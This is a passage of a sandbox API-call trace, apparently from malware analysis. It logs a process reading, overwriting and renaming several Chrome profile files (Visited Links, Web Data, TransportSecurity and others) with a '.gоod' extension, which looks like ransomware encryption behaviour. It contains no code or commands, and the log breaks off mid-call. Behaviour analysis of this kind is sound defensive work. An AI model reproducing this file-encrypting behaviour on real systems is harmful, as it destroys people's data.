0x1 [0182.389] WriteFile (in: hFile=0x7c8, lpBuffer=0x371d8b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x371d8b0*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0182.390] CloseHandle (hObject=0x7c8) returned 1 [0182.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal", lpFilePart=0x0) returned 0x4f [0182.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal.gоod", lpFilePart=0x0) returned 0x54 [0182.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0182.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5118b971, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5118b971, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x68edf502, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0182.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0182.390] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\top sites-journal.gоod")) returned 1 [0182.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", lpFilePart=0x0) returned 0x4f [0182.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0182.391] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), fInfoLevelId=0x0, lpFileInformation=0x371eb30 | out: lpFileInformation=0x371eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf148b749, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xf148b749, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf148b749, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142)) returned 1 [0182.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0182.392] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", lpFilePart=0x0) returned 0x4f [0182.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0182.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.393] GetFileType (hFile=0x7c8) returned 0x1 [0182.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0182.393] GetFileType (hFile=0x7c8) returned 0x1 [0182.393] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x142 [0182.393] ReadFile (in: hFile=0x7c8, lpBuffer=0x371eff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea938, lpOverlapped=0x0 | out: lpBuffer=0x371eff0*, lpNumberOfBytesRead=0x1f6ea938*=0x142, lpOverlapped=0x0) returned 1 [0182.394] CloseHandle (hObject=0x7c8) returned 1 [0182.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", lpFilePart=0x0) returned 0x4f [0182.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0182.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0182.666] GetFileType (hFile=0x820) returned 0x1 [0182.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0182.666] GetFileType (hFile=0x820) returned 0x1 [0182.666] WriteFile (in: hFile=0x820, lpBuffer=0x3636f48*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x3636f48*, lpNumberOfBytesWritten=0x1f6ea848*=0x150, lpOverlapped=0x0) returned 1 [0182.667] CloseHandle (hObject=0x820) returned 1 [0182.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity", lpFilePart=0x0) returned 0x4f [0182.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.gоod", lpFilePart=0x0) returned 0x54 [0182.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0182.667] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf148b749, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xf148b749, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x69167c66, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0182.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0182.668] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity.gоod")) returned 1 [0182.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", lpFilePart=0x0) returned 0x4b [0182.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0182.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), fInfoLevelId=0x0, lpFileInformation=0x36381c8 | out: lpFileInformation=0x36381c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52aedbdc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52aedbdc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x20000)) returned 1 [0182.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0182.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", lpFilePart=0x0) returned 0x4b [0182.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0182.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0182.670] GetFileType (hFile=0x820) returned 0x1 [0182.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0182.670] GetFileType (hFile=0x820) returned 0x1 [0182.670] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0182.670] ReadFile (in: hFile=0x820, lpBuffer=0x36385f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x36385f0*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0182.671] CloseHandle (hObject=0x820) returned 1 [0182.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", lpFilePart=0x0) returned 0x4b [0182.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0182.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0182.672] GetFileType (hFile=0x820) returned 0x1 [0182.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0182.672] GetFileType (hFile=0x820) returned 0x1 [0182.672] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x20000 [0182.672] WriteFile (in: hFile=0x820, lpBuffer=0x363aa58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x363aa58*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0182.672] CloseHandle (hObject=0x820) returned 1 [0182.672] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", lpFilePart=0x0) returned 0x4b [0182.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0182.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0182.673] GetFileType (hFile=0x820) returned 0x1 [0182.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0182.673] GetFileType (hFile=0x820) returned 0x1 [0182.673] ReadFile (in: hFile=0x820, lpBuffer=0x363cd20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x363cd20*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0183.510] CloseHandle (hObject=0x820) returned 1 [0183.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", lpFilePart=0x0) returned 0x4b [0183.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0183.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0183.511] GetFileType (hFile=0x820) returned 0x1 [0183.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0183.511] GetFileType (hFile=0x820) returned 0x1 [0183.511] WriteFile (in: hFile=0x820, lpBuffer=0x355c938*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x355c938*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0183.511] CloseHandle (hObject=0x820) returned 1 [0183.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links", lpFilePart=0x0) returned 0x4b [0183.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.gоod", lpFilePart=0x0) returned 0x50 [0183.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0183.511] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52aedbdc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52aedbdc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x69973c50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20010)) returned 1 [0183.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0183.511] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\visited links"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Visited Links.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\visited links.gоod")) returned 1 [0183.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x46 [0183.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0183.512] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), fInfoLevelId=0x0, lpFileInformation=0x36c36b0 | out: lpFileInformation=0x36c36b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x51b5f84c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0183.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0183.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x46 [0183.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0183.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0183.514] GetFileType (hFile=0x820) returned 0x1 [0183.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0183.514] GetFileType (hFile=0x820) returned 0x1 [0183.514] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0183.514] ReadFile (in: hFile=0x820, lpBuffer=0x36c3ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x36c3ad8*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0183.515] CloseHandle (hObject=0x820) returned 1 [0183.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x46 [0183.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0183.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0183.515] GetFileType (hFile=0x820) returned 0x1 [0183.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0183.515] GetFileType (hFile=0x820) returned 0x1 [0183.515] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x10000 [0183.516] WriteFile (in: hFile=0x820, lpBuffer=0x36c4ff8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x36c4ff8*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0183.516] CloseHandle (hObject=0x820) returned 1 [0183.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x46 [0183.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0183.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0183.516] GetFileType (hFile=0x820) returned 0x1 [0183.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0183.516] GetFileType (hFile=0x820) returned 0x1 [0183.516] ReadFile (in: hFile=0x820, lpBuffer=0x36c72b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x36c72b0*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0184.432] CloseHandle (hObject=0x820) returned 1 [0184.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x46 [0184.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0184.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0184.433] GetFileType (hFile=0x820) returned 0x1 [0184.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0184.433] GetFileType (hFile=0x820) returned 0x1 [0184.433] WriteFile (in: hFile=0x820, lpBuffer=0x359ed40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x359ed40*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0184.433] CloseHandle (hObject=0x820) returned 1 [0184.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x46 [0184.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data.gоod", lpFilePart=0x0) returned 0x4b [0184.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0184.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6a2447ff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10010)) returned 1 [0184.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0184.434] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data.gоod")) returned 1 [0184.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal", lpFilePart=0x0) returned 0x4e [0184.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0184.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), fInfoLevelId=0x0, 